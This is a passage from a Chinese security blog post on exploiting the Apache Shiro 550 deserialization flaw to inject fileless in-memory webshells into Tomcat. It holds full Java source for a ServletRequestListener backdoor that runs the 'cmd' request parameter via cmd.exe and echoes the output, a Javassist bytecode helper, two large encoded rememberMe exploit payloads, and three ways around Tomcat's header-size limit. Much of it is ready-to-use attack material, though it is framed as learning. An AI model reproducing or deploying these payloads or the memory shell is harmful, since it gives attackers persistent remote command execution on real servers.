38AfFOc8uVP0TbIPDiQsr4o9bJEPLNFdY/7MJLG5h8pNaBAicecDeMpEFMVwFyNWASIS0awQau6+vXoEHjAqgzvMeG5OU4y6V70Zu/v7uQZO+EtxeZ+S1QXd7KwgIflRq8VyrgDfelQ2d0vjBjvNJMiM+G8AZCKDmpmdnUTLuQcem5JLk6tYbfTO6KdPyifP0Xh2ivf0Xw78Sd1H+4g/3NEFsu+czOgWH+2P/b6FswJLS7c1FJw19Kl6JqdF2aoMGN3V3qGDvDZdmvTu+znaLTR9EUC4FDWW1mG4j5yYZ4D0k/yNIip7SUyqdaQL4DGyQUUDOOOi/ExH3GiMD24oV6/2Qfxxe8yhDfwmFjqB1QtB3Hmawqs0+CWnDnRdr4wC/1S8L6IVigZdBGhtTCItFHS2OnwN0riehlQeTV39NZIgqoLqqt2paK/7SgmnfKwtPAaFoygg73PHpEoI4pwtlIppCY0ScNtYjYBoXfsnM0z2YcSTXyk6NiiRT3Ezsc8fbwt0mpqky+WWp+cOZ4q8nREmYppdFj10rzAmsYLG1lT7a4x71Vv/N67hEohjFryioCzPeBwwAqUMYYQMnNsrY2FyAV8Xv6uqud9OX3VrfrNvLUWXZp+KFjz/Or8QHQXznL6Ft5xgxeDkZryTcLK4y523kv6tIYT+4kSDyKSEuk9+vq8Zo5JUrcFtTEdTQPqyr3PGsAGahfH7xAMrkNCUJlY/t2shu+VCVpKH6pMSduiLdWw2JqjHBe5b8haUY3bfL3SxyVv/uYynnXtx8ac/077LLiFrdh374gfIGbrOhXc9jMgJ7Nqj2gguAG1YWPkHrSzs9pYylBt8QR1mAHy4Khrd01kmAUbITRWMYmN28Zq7oyVoWpC4wHv+Y5Pw6YfYWX19XStLbxIJ0CKkvU346hwdeJxjMMkeAIwKWsGuOPoL/qe6ouYeFddQ9AzcoSSMctgyx2+h7zEN53GreQj9iyGZftZaa5AsQ4aEpVQt8Ajts+s7W0rZRcsjIRZ0xfTUzTzo/6aWfWdH74h6OQ2m9zEALGbFyV97ZC2Mr+7NDrw8FKjXewkVgi2D6xZPGWUKaljugh8Zv9KC8fhU+FSg6eMerYemGwqnsPWTCfbLqiRe2VxQBpDASUXhSWs5tLBDYM5nPkFdaLzUTWsicUCs0p20WM3gHRVu9TU60dp8HiCZDOJsu5NLJljzk2lJkuydLP08FSHKF6UxWnfQwfd/MR0xJISB9JioCTZ0kHOnOLw14fPjZh+63O5LKrCsC4WWzDHVC5h3TgWjXdeTUX7JKbo8Z8tZa/G4CVvDcqsbWXMxQ2nYuCsWx

注入到 shiro ,发现 shiro 服务器报错了

image-20250424145056562

image-20250424144923385

请求头太大了,这是 tomcat 的 maxHttpHeaderSize 的限制,我们先手动修改一下 tomcat 的配置文件

image-20250424201227088

再次添加就可以注入 filter 内存马了

image-20250424201156188

shiro-Listener

类似的,我们同样可以注入 listener 内存马,这个比 filter 更加轻量级

相应的注入类

package com.lingx5;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Request;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;

public class addListener extends AbstractTranslet implements ServletRequestListener {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
    public addListener() throws Exception {
        super();
        WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardCtx;
        standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
        standardCtx.addApplicationEventListener(this);
    }
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
        if (req.getParameter("cmd") != null){
            InputStream in = null;
            try {
                in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String out = s.hasNext() ? s.next() : "";
                Field requestF = req.getClass().getDeclaredField("request");
                requestF.setAccessible(true);
                Request request = (Request)requestF.get(req);
                request.getResponse().getWriter().write(out);
            }
            catch (IOException e) {}
            catch (NoSuchFieldException e) {}
            catch (IllegalAccessException e) {}
        }
    }
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
    }
}

我们只需要把上述的 getEvil() 函数中的 class 改一下

public static byte[] getEvil() throws Exception {
    ClassPool ctClass = ClassPool.getDefault();
    CtClass evil = ctClass.get(addListener.class.getName());
    return evil.toBytecode();
}

生成的 payload

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

访问带有 cmd 参数,可以看到有回显产生

image-20250424201917210

绕过 maxHttpHeaderSize 限制

有三种方法

1)修改maxHttpHeaderSize

Shiro 550 漏洞学习 (二):内存马注入及回显

2)将class bytes使用gzip+base64压缩编码

tomcat结合shiro无文件webshell的技术研究以及检测方法

3)从POST请求体中发送字节码数据

Java代码执行漏洞中类动态加载的应用

参考链接

Shiro 反序列化漏洞与 Tomcat 注入内存马学习-安全 KER - 安全资讯平台

基于 tomcat 的内存 Webshell 无文件攻击技术-先知社区

https://www.javasec.org/javaweb/MemoryShell/

Sangfor 华东天勇战队:shiro 注入 filter 内存马_shiro 注入内存马-CSDN 博客

Java Shiro 反序列化内存马 - zpchcbd - 博客园

posted @ 2025-04-25 21:14  LingX5  阅读(110)  评论(0)    收藏  举报